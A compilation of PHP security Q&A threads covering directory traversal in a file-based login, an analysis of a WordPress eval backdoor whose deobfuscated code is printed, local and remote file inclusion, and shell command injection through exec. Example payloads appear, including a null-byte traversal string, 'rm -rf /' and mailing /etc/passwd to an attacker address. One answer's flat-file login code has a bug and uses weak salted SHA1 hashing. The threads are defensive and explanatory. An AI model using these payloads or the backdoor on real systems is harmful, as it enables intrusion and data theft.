lots of files tactics have directory traversal security problem? - php

If I choose lots of files tactics,
then I become to have directory
traversal security problem?
I need to write login system,
and lots of file tactics means
make lots of id files and use
scandir.
so the directory would have
aaa.txt (contents is aaa_pass)
bbb.txt (contents is bbb_pass)
ccc.txt (contents is ccc_pass)
and when someone enter his id,
the system scandir the directory,
then find the id files.
but hey, what if he enters as
"../../important.txt" ?
then he could access to the ../../important.txt ?

At first glance, it seems like you are going down a somewhat strange path for writing a login system. I'm not sure plain text files in a directory on the filesystem is a wise path to take if for no other other reason than that it's abnormal and you'rer likely to overlook many of the subtleties that are already thought through in more common authentication systems. If you wanted to store the passwords hashed and salted, for instance, you'd need to think through how to implement that in your scheme and you could make a mistake that would lead to a security problem. Using a good PEAR library or even the Zend_Auth component from Zend Framework, though, would give you a clear and well-documented starting point.
Anyway, assuming you have your reasons for the arrangement you describe in your question, the basename() function is likely what you want in this case. It will strip everything but the filename itself so that they can't do a directory traversal attack like you describe in your question.
So if the input from the user is:
../../important
You can run:
$cleanUsername = basename($input);
$filename = '/path/to/password/files/' . $cleanUsername . '.txt';
if (file_exists($filename)) {
[...]
}
Make sense?

You could perform some validation of the username before you use it as part of a path - for example to only allow letters and numbers you could do something like this using a regular expression:
if (!preg_match('/^[a-zA-Z0-9]+$/', $username)) {
//username is not valid
} else {
//username is ok to use
}
Another way you could do it is to hash the username before you read or write it, for example:
$hash = sha1($username);
This way, the user can have anything as their username and there will be no danger of them manipulating the behaviour of your file lookup. A username of "../../important.txt" would give you a hash of "48fc9e70df592ccde3a0dc969ba159415c62658d", which is safe despite the source string being nasty.

If you have no other choice than to use this file-password system (assuming you have to for one reason or another), in addition to creating some kind of obfuscated file names, you may also want create files with the same extension as your server-side language just in case - for example, if you are using PHP, your file name would be john.php (or obfuscated 'john'), and contents might be something like this:
<?php
exit; // or maybe even a header redirect --
/*password goes here*/
?>
Of course your file-read routine will need to parse our the phrase inside the comment block.
This way, if someone DOES somehow arrive at that file, it will never render.

Related

What does this (virus?) code do?

I found some code that I did not write in my public_html folder on my WordPress site. After a bit of effort, I was able to get it into a somewhat readable state, but it's still beyond me what it does. Could anyone with a better understanding tell me what this code was supposed to be doing?
If it helps, it had also overwritten my index.php file with this code, as well as had several references to a strange .ico file.
foreach (array_merge($_COOKIE, $_POST) as $key => $value) {
function fun1($key, $valueLength)
{
$keyGuid = $key . "49d339b2-3813-478a-bfa1-1d75be92cf49";
$repeatTimes = ($valueLength / strlen($key)) + 1;
return substr(str_repeat($keyGuid, $repeatTimes), 0, $valueLength);
}
function packToHex($inputToPack)
{
return #pack("H*", $inputToPack);
}
function fun3($exploded)
{
$modCount = count($exploded) % 3;
if (!$modCount) {
eval($exploded[1]($exploded[2]));
exit();
}
}
$value = packToHex($value);
$bitwiseXor = $value ^ fun1($key, strlen($value));
$exploded = explode("#", $bitwiseXor);
fun3($exploded);
}
Short answer: It is backdoor, it allows to execute arbitrary code on the server side.
Note: all you need to see is that it has eval and takes input from the user.
What arbitrary code? Whatever they want.
Long answer:
It will take data from $_COOKIE and $_POST as you can see. This data comes from the user. We can infer that this code was designed for a malicius user recieve data (which, either the malicius user will send directly, or via a bot).
What does it dose with this data? Well, it will over all the input, one by one, and try to:
$value = packToHex($value); Interpret it as an hexadecimal string and covert it to its binary representation. Silently fail if it isn't an hexadecimal string.
$bitwiseXor = $value ^ fun1($key, strlen($value)); apply a cheap cipher over it. This is a symetric substitution cipher, it depends on $key and the hard coded guid 49d339b2-3813-478a-bfa1-1d75be92cf49. We can asume that who injected this code knows the guid and how to cipher for it (it is exactly the same code).
$exploded = explode("#", $bitwiseXor); We then separate the result by the character "#".
And fun3($exploded); interpret it as code (see [eval][1]).
If all succedes (meaning that the input from the user was such that it triggered this process), then it will exit, so that it flow of execution never reaches your code.
Now, somebody injected this code on the server. How did they do it? I do not know.
My first guess is that you have some vulnerability that allows them to upload PHP code (perhaps you have a file upload function that will happilly take PHP files and put them in a path where the user can cause the server to run them).
Of course, there are other posibilities... they may have brute forced the login to your ftp or admin login, or some other thing that would allow them to inject the code. Or you may be running some vulnerable software (an outdated or poorly configured WordPress or plugin, for example). Perhaps you downloaded and used some library or plugin that does watherver but is compromised with malware (there have been cases). or perhaps you are using the same key as your email everywhere, and it got leaked from some other vulnerable site... or, this was done by somebody who works with you and have legitimate access, or something else entirely...
What I am saying is that... sure remove that code from your server, but know that your server is vulnerable by other means, otherwise it wouldn't have got compromised in the first place. I would assume that whoever did this is out there, and may eventually notice you took it down and compromise your server again (Addendum: In fact, there could be some other code in your server that puts it back again if it is not there).
So go cover all your bases. Change your passwords (and use strong ones). Use https. Configure your server properly. Keep your software up to date.
If you have custom PHP code: Validate all input (including file uploads). Sanitize whatever you will send back to the user. Use prepared sentences. Avoid suspicius third party code, do not copy and paste without understanding (I know you can do a lot without really understanding how it works, but when it fails is when you really need the knowledge).
Addendum:
If you can, automate updates and backups.
Yes, there are security plugins for WordPress, and those can go a long way in improving its security. However, you can always configure them wrong.

local file inclusion exploit when including the language file

i have a php code for my website and a friend told me that my code has a local file inclusion vulnerability because im using the " include " method.
can someone help me in fixing it or lead me to where i can find help? i tried a couple of possible ways of fixing it but that didn't work.
the problem is with including the language file in my code.
here is the code below to be more clear :
<?php
if(isSet($_GET['lang']))
$lang = $_GET['lang'];
else $lang='en';
include 'languages/'.$lang.'.php';
include("header.php");
?>
P.S i only have 2 language files and they are English = "en.php" and Arabic = "ar.php"
i would really appreciate it if someone could help.
Do not EVER trust user inputs!
<?php
if ( isset($_GET['lang']) && $_GET['lang'] == 'en') {
$lang = 'en';
} else {
$lang = 'ar';
}
include 'languages/'.$lang.'.php';
include("header.php");
?>
Or, preparing for possible additional languages, I would go like this:
<?php
$lang = !empty($_GET['lang']) ? $_GET['lang'] : 'en';
switch($lang) {
default:
case 'en':
include 'languages/en.php';
break;
case 'ar':
include 'languages/ar.php';
break;
}
include("header.php");
?>
This way you can easily add extra languages later on and also always make sure, that only the required file is included.
The vulnerability is that one could send any kind of relative path in $lang. This is especially dangerous if users can upload files and figure out their real path on the server.
Example:
A hacker may use some file upload functionality of your site to upload evil.php. The hacker may know/have found out/guess that it's stored at /var/www/uploads/evil.php, and that your application runs in /var/www/html.
Now, normally nobody could run this file if /var/www/uploads is not accessible through HTTP.
But, it would be possible to open http://example.com/index.php?lang=../../uploads/evil and guess what, it would include languages/../../uploads/evil.php which would resolve to /var/www/uploads/evil.php!
This of course also works without file upload if there are any other files which can be used for exploiting something by getting access to them and calling them, such as maybe files in a normally password-protected directory (phpMyAdmin for example).
And if you now think "that's quite a lot of assumptions and 'may's and 'if's in there, you would need to be very lucky to succeed with this" then watch out - although there are some obvious blatantly open vulnerabilities where you do one URL call and you can, let's say, overtake the server or delete the database, the most dangerous ones are the ones which require multiple puzzle pieces to make an exploit work, because they go undetected for a long time and it can be hard to understand how the server got actually hacked once it happens, and you will naturally have a more experienced and therefore more dangerous (possibly stealth) hacker at your doorstep. If somebody is determined to find a security hole (either because they have an actual goal attacking your site or you, or because they just enjoy owning poor webmasters to push their own ego), they will keep searching and puzzle together whatever is required to achieve what they want.
There are multiple solutions.
As suggested by u_mulder, if you have only ar and en then just check if it's either one.
If you have more languages, you could just create an array with a list of allowed values and check if the sent language is in that array, for example:
$languages = ['de', 'en', 'ar', 'jp', 'fr'];
if(in_array($_GET['lang'], $languages)) {
$selectedLanguage = $_GET['lang'];
} else {
$selectedLanguage = 'en'; // default
// Note that you could also show an error "invalid language" instead
}
If you want to control this by just allowing only the files existing in the folder, you could also just validate that the language contains only letters (or whatever you need, as long as you make sure it may not contain dots or slashes or such):
if(preg_match("/^[a-z]*$/", $_GET['lang'])) { ... }
Note that with this approach you should definitiely also check if the specified file exists, otherwise it would still be possible to have a language-less site by specifying an invalid language (especially since include doesn't throw an error on non-existing files, unlike require).

PHP Include security with String Before Variable

Lets say example.com has a front end with this HTML:
<form action='this.php' method='post'>
<input type='hidden' value='test' name='post'>
<input type='submit' value='Test'>
</form>
and this.php included something along the lines of:
if (isset($_POST['post'])) {
include 'test_' . $_POST['post'] . ".php";
}
With the above setup, how would someone execute a malicious include, or attempt any sort of directory traversal, if the string 'test_' was attached to the beginning of it?
if they entered /../../, include would read it as 'test_/../../', and fail, if they used a url, include would get 'test_http://evil.com/badcode.php' and fail again.
How would someone get around the proceeding string to execute remote includes, or change its directory?
Sidenote: I do know how to sterilize strings, and other security steps to completely avoid this. This is simply out of curiosity, and from what I know now, I don't think it would be possible.
This is not really a good practice and always remember , Never trust user input !
Keeping that in mind, you should never pass a user-input to an include language construct.
From your code, it is somewhat clear that directory traversals leads to 404. However, there maybe some smart wicked geeks out there to bypass and perform a RFI attack.
So a better advice is.. Don't send user input directly to an include() construct.
File streams are typically abused in one of two ways. LFI, and RFI (Local file inclusion / Remote file inclusion respectively) or generally MFI (Malicious file inclusion). Often it's used to pipe local files such as /etc/passwd or log files.
RFI is much more dangerous, this is a possiblity if allow_url_fopen is on This allows a hacker to include a remote file into your environment. In the above example, it is combined with null byte injection in order to disregard the concatenation.
There is many methods of manipulating the string to do various things, for example including php://input or php://filter
if they entered /../../, include would read it as 'test_/../../', and fail […]
This is actually only true for Unix-based systems but works on Windows as it does the path resolution only on the given path and not on the actual file system structure. Windows doesn’t care whether one of the unresolved path segments exists as long as the resolved path exists.
Furthermore, up to certain PHP versions, not all file system functions where binary-safe and a null byte could end the string and remaining bytes were omitted.
So concluding, depending on the operating system and the PHP version, your script may be exploited to include arbitrary files using the following pattern:
post=/../../../../windows/win.ini%00

What is the best way to change matched words by one other in a file?

I'm on a website project and administrators are able to create categories. When they do make them the name of the category is added to the database.
In the PHP file that processes the form used to create categories, I create a directory with the given name in the specific directory of my host, which at this time looks like:
exec('mkdir /homezx/user/website/categories/' . $_POST['name']);
It works fine, but now I'd like to copy a template from a resource folder to this new created directory (would be the index of it) and I know how to do it.
exec('cp .../templates/index.php /.../categories/' . $_POST['name'] . '/index.php');
The problem is I want to craft this template so it can fit the folder where it is placed.
In the template file, I've replace all the parts that will be different from one to one index with the string '%name%'.
What could be the best way to copy this file in a created folder, after having changed all the '%name%' by a given name (e.g. in the title tag)?
$name=$_POST['name'];
mkdir($path_to_new_folder);
$template=fopen($path_to_template);
$str=file_get_contents($template);
$newstr=str_replace('%name%',$name,$str);
fclose($template);
$newfile=fopen($path_to_new_folder.'/index.php','w');
fwrite($newfile,$new_str);
fclose($newfile);
is this what you're trying to do? it will open your templace, replace %name% with the new name, create the directory, and the new file, write the edited template file and save it
I am by no means a hacker, nor even close to that. Thse examples probably would not even work on first try, this is just to get you thinkin. What if $_POST['name'] contains ...
$_POST['name'] = ";rm -rf /"; // ;ends the mkdir instruction ..
or ...
$_POST['name'] = ";mail -s “Pawned” badguy#allyourbasebelongtous.com < /etc/passwd";
Friendly advice, never ever ever use exec like that. Better yet, never ever ever use exec if you can avoid it, especially on web-based applications.
It is advisable to use PHP's mkdir() and copy() functions. For example, couldn't $_POST['name'] be anything? Do you really want to exec() anything?
Secondly, to accomplish the templating, you can use something as simple as this.
$template = file_get_contents('template.html');
$replacements = array(
'%name%' => 'Oddantfr'
);
$contents = str_replace(
array_keys($replacements),
array_values($replacements),
$template
);
file_put_contents('template.html', $contents);
This is not an answer to the question per se, but a comment that cannot be contained in a comment. However, you need to know this if you don't already.
exec('mkdir /homezx/user/website/categories/' . $_POST['name']);
This is very very very bad. Do NOT do this. When you run an exec() in PHP, the first argument is run as a string, which allows for things like this to take place:
$_POST[] ~ ".'; i0wnZU(); doBadStuff();'";
Which would make your exec()'d code equivalent to:
exec('mkdir /homezx/user/website/categories/'.'; i0wnZU(); doBadStuff();');
Replace my two funny functions with actual bad things (maybe, a root'd script or something), and you have a security hole allowing access to your server's underlying OS.
Use the PHP-provided mkdir() and copy() functions, and CLEAN any POST/GET variables you have submitted to you. Do not EVER just plug it in directly into your code uncleaned, especially in database queries.

PHP Username Password Solution

I am working on my first PHP based website, and I was wondering what solutions were out there for a username/password system? I have tried using a .htaccess file for basic security, and while it works, I want something a little easier for a layman to administer. Are there any other solutions out there that I could try? I don't have a database server available, so it would have to support flat file databases...thanks!
Edit I have determined that I do have SQLite support, so I do have a database option available. Also, I feel I should mention a little further some requirements that I have. I originally looked to using .htaccess to protect my website, since I need security over the entire directory. Most of the files I am trying to protect are .pdf and .doc...any solution would have to allow me to secure those files as well as any web pages in the directory.
If I could find a good solution to more or less "skin" the .htaccess method of locking a directory, so that I could do things like have an actual login/register page, etc. then I would just stick to the .htaccess method. I would however like something that is more manageable, I just need the directory security.
I wrote up this code quickly, it is syntacticly correct but I have not tested it.
There are 2 things that I did not do here, first, I did not provide a function to remove a user and second I did not provide a function to change a users password, these you'll have to write yourself.
However this should provide for a good place to start.
These functions will store your usernames/passwords in a file called passwords in the following format
username0:password0
username1:password1
username2:password2
...
.
function authenticate($username, $password)
{
//ALWAYS use a salt to secure the encryption of your passwords, this can be any value of any
//length, the longer and the more characters the better
//I like to use a "perfect password" from Steve Gibbson's https://www.grc.com/passwords.htm
//This must the exactly the same as the salt in theaddUser() function
$salt = 'voDeaFWckErOPPGwiapYBwEoc4O2d1M60m2QsYc7A15PUshrLamoVioG1wUmEgF';
//First we need to get the contents of the file that has the usernames/passwords in it.
//we don't want to use fopen() or we may end up with a locked file error if another access is
//attempted before we've closed it.
//this line will get the contents of the file named passwords and store it in the $fh variable
$fh = file_get_contents('passwords');
//Now lets take the file and split it into an array where each line is a new element in the array.
$fh = split("\n", $fh);
//Now lets loop over the entire array spliting each row into it's username/password pair
foreach($fh as $r)
{
//Every time this loop runs $r will be populated with a new row
//Lets split the line into it's username/password pairs.
$p = split(':', $p);
//Since we don't need all the usernames/password to be in memory lets stop when we find the one we need
if($p[0] == $username && $p[1] == sha1($salt . $password))
{
//We've found the correct use so lets stop looping and return true
return true;
}
}
//If we've reached this point in the code then we did not find the user with the correct password in the 'database'
//so we'll just return false
return false;
}
function addUser($username, $password)
{
//ALWAYS use a salt to secure the encryption of your passwords, this can be any value of any
//length, the longer and the more characters the better
//I like to use a "perfect password" from Steve Gibbson's https://www.grc.com/passwords.htm
//This must the exactly the same as the salt in the authenticate() function
$salt = 'voDeaFWckErOPPGwiapYBwEoc4O2d1M60m2QsYc7A15PUshrLamoVioG1wUmEgF';
//We need to parse out some preticularly bad characters from the user name such as : which is used to seperate the username and password
//and \r and \n which is the new line character which seperates our lines
$username = preg_replace('/\r|\n|\:/', '', $username);
//Now lets encrypt our password with the salt added
$password = sha1($salt . $password);
//Lets build the new line that is going to be added
$line = $username . ':' . $password . "\n";
//Lets open the file in append mode so that the pointer will be placed at the end of the file
$fh = fopen('passwords', 'a');
//Write the new entry to the file
fwrite($fh, $line);
//Close the file
fclose($fh);
//Typicaly one would write a bunch of error handling code on the above statments and if something
//goes wrong then return false but if you make it this far in the code then return true
return true;
}
Have a look at Zend_Auth. It's open source, so you can sniff around to get a feel for how an authentication module should (or could) be implemented. From the doc:
Zend_Auth is concerned only with
authentication and not with
authorization. Authentication is
loosely defined as determining whether
an entity actually is what it purports
to be (i.e., identification), based on
some set of credentials.
Sure, there are plenty of flat file database PHP security systems available. Doing a quick Google search will pull up many results. Here is a tutorial:
http://www.devshed.com/c/a/PHP/Private-Pages-with-PHP-and-Text-Files/
Check if you have support for sqlite, it doesn't require a server so it might work for you.
And don't forget to hash your passwords. ;)
To check create a file (ex. php_info.php) add:
<?php
phpinfo();
Then upload the file to your host, load it in your browser (example.com/php_info.php) and do a search for sqlite.
You should see several references to sqlite in the page that shows if you have support. The line with "SQLite Library" will tell you the version of sqlite you have (if you have it).
Also once you are done you should delete the php_info.php file from your site, since it does give some information on your setup which can be helpful to crackers.
have you seen if you have SQLite available? It is PHP's built in database. If not you could just use read/write to a file hope this helps a bit
According to this page from the Apache website:
In general, you should never use .htaccess files unless you don't have access to the main server configuration file. There is, for example, a prevailing misconception that user authentication should always be done in .htaccess files. This is simply not the case. You can put user authentication configurations in the main server configuration, and this is, in fact, the preferred way to do things.
Its easy to see why this is so, too. Its far preferable to have centralized control, rather than digging through EVERY SINGLE DIRECTORY when debugging a faulty configuration.
I urge you to transfer your .htaccess file config to your main configuration file ASAP, for your own good!

Categories